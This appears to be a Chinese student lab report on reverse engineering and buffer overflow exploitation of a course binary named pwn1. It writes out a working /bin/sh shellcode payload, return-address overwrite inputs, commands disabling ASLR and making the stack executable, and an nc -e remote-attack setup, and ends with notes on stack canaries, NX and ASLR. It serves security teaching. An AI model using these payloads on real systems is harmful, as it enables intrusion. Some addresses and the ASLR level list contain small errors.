20191214exp1 逆向与Bof基础实验报告

20191214

exp1 逆向与Bof基础实验报告#

基础知识

1. NOP, JNE, JE, JMP, CMP汇编指令的机器码:

NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90），实验中我们构造滑行区就是用的这个机器命令x90。

JNE：条件转移指令，如果不相等则跳转。（机器码：75）

JE：条件转移指令，如果相等则跳转。（机器码：74）

JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）

CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2. 掌握反汇编与十六进制编程器

反汇编主要用的命令是objdump -d 目标文件 | more

进入vi/vim编辑器后按esc后输入:%!xxd将显示模式切换为16进制模式
编辑完成后按esc后输入:%!xxd -r将转换16进制为原格式

1 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

实践内容如下：

1.手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
2.利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

1.运行原本不可访问的代码片段
2.强行修改程序执行流
3.以及注入运行任意代码。

2 直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

学习目标：理解可执行文件与机器指令

进阶：掌握ELF文件格式，掌握动态技术
首先在云班课资源中下载pwn1并将其复制到kali虚拟机上

打开终端，输入命令objdump -d pwn1 | more进行反汇编

可以看到指令地址、机器指令及汇编指令

通过/main找到main函数

接着，找到地址80484b5的指令，此处可以看到，主函数main执行了一次函数调用，对应的汇编指令为call 8048491 ，意为调用位于地址8048491处的foo函数。

本条call指令前面显示为其对应的机器指令为e8 d7 ff ff ff，e8在机器指令中意为跳转，当本条指令执行时，机器会将后面的相对地址d7 ff ff ff加上eip寄存器中的值，得到的就是下一条应该跳转到的指令的地址，此处的d7 ff ff ff为补码，对应十进制的-41，下一条应该跳转的地址为EIP+d7ffffff=8048491，对应上面汇编指令call中的物理地址8048491处的foo函数。

根据时间要求，直接修改机器指令使getshell直接被调用，我们就将call指令出的机器码e8 d7 ff ff ff为getShell函数所在地址减去80484ba对应的补码就可以将主函数调用foo函数改为调用etshell函数。

输入/getShell看到getshell函数对应的地址为0804847d：

将0804847d减去80484ba得到补码c3ffffff，使其替换d7ffffff即可。
修改机器指令：

1.cp pwn1 pwn2 ，用vi打开pwn2；
2.按esc键之后输入%!xxd将显示模式改为16进制；
3.输入/f0e8查找到机器指令e8 d7 ff ff ff；
4.输入i进入insert模式，将d7改为c3；
5.输入指令%!xxd -r转换显示格式16进制为原格式，这样保存修改后程序才能正常运行；
6.输入WQ存盘退出。

4.

5.

在修改完毕之后对pwn2使用反汇编指令可以看到主函数的call指令函数调用由之前的调用foo函数变为了调用getshell函数:

输入./pwn2运行，看到函数执行了getShell函数：

3 通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址c
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术

3.1 反汇编，了解程序的基本功能

该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞这里读入字符串，但系统只预留了28字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址。
反汇编代码：

3.2 确认输入字符串哪几个字符会覆盖到返回地址

安装gdb，安装完成后输入gdb -v 说明安装成功

接着开始打开gdb分析：

当输入的为1111111122222222333333334444444455555555可以看到eip的值为0x35353535，也就是5555的ASCII码。

输入一串长数字1111111122222222333333334444444412345678,之前eip的值是数字1234的逆序的ASC码可以得出，此时应该输入11111111222222223333333344444444\x7d\x84\x04\x08即可将getshell的地址覆盖到程序的返回地址中。

3.4 构造输入字符串

由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。
输入：
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

使用16进制查看指令xxd查看input文件的内容是否如预期。

然后将input的输入，通过管道符“|”，作为pwn1的输入。

4. 注入Shellcode并执行

4.1 准备一段Shellcode

shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

4.2 准备工作

根据老师发布在云班课里的操作安装prelink：

先通过execstack - s指令来设置堆栈可执行
再用 execstack -q 指令查询文件的堆栈是否可执行

随后关闭地址随机化

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space

more /proc/sys/kernel/randomize_va_space

4.3 构造要注入的payload。

根据实验指导书提示：

Linux下有两种基本构造攻击buf的方法：
retaddr + nop + shellcode
nop + shellcode + retaddr
因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

尝试结构为：nop + shellcode + retaddr

输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接下来我们来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf：
(cat input_shellcode;cat) | ./pwn1

再开另外一个终端，用gdb来调试pwn1这个进程。

首先找到我的进程号为22462，随后启动gdb进行调试。

先attach上该进程，随后设置断点。

注意在输入c(即continue那一步）时，先应返回原本进程输入一个回车

找到esp的地址，为0xffffd13c，跳转

结合结构anything+retaddr+nops+shellcode，将1234位置的地址加上4字节（shellcode挨在缓冲
区的后面）即可得到shellcode的地址0xffffd140，所以将0xffffd140替换1234，便可令shellcode的地址覆盖ret返回地址，所以此处输入的shellcode应为：
perl -e 'print "A" x 32;print "\x40\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

注入shellcode之后输入pwn1，执行后输入ls成功列出当前目录下所有文件，成功通过注入

shellcode覆盖返回地址从而执行shellcode：

4.5 结合nc模拟远程攻击

本例中是在同一台主机上做的实验；该实验最好在互相连通的两台Linux上做，将ip地址替换为主机1的IP即可。
首先查看本机的ip地址 127.0.0.1

主机1，模拟一个有漏洞的网络服务：
-l 表示listen
-p 后加端口号
-e 后加可执行文件，网络上接收的数据将作为这个程序的输入

将一个终端弄成服务器，也就是被攻击机

主机2，连接主机1并发送攻击载荷：

第三个终端单步调查看nops地址:

这里可以算出地址为0xffffd70，注入进ret返回地址里面。

5 Bof攻击防御技术

–

5.1. 从防止注入的角度。

编译器在编译时每次函数调用前后都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生。

http://www.ibm.com/developerworks/cn/linux/l-cn-gccstack/index.html

5.2. 注入入了也不让运行。

结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行。

Linux可执行文件堆栈执行标识设置

5.3. 增加shellcode的构造难度。

该部分为实验指导博客中内容：
shellcode中需要猜测返回地址的位置，需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实：应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR，地址随机化就是让OS每次都用不同的地址加载应用。

内存地址随机化机制（address space layout randomization)，有以下三种情况:

  1.表示关闭进程地址空间随机化。
  2.表示将mmap的基址，stack和vdso页面随机化。
  3. 表示在1的基础上增加栈（heap）的随机化。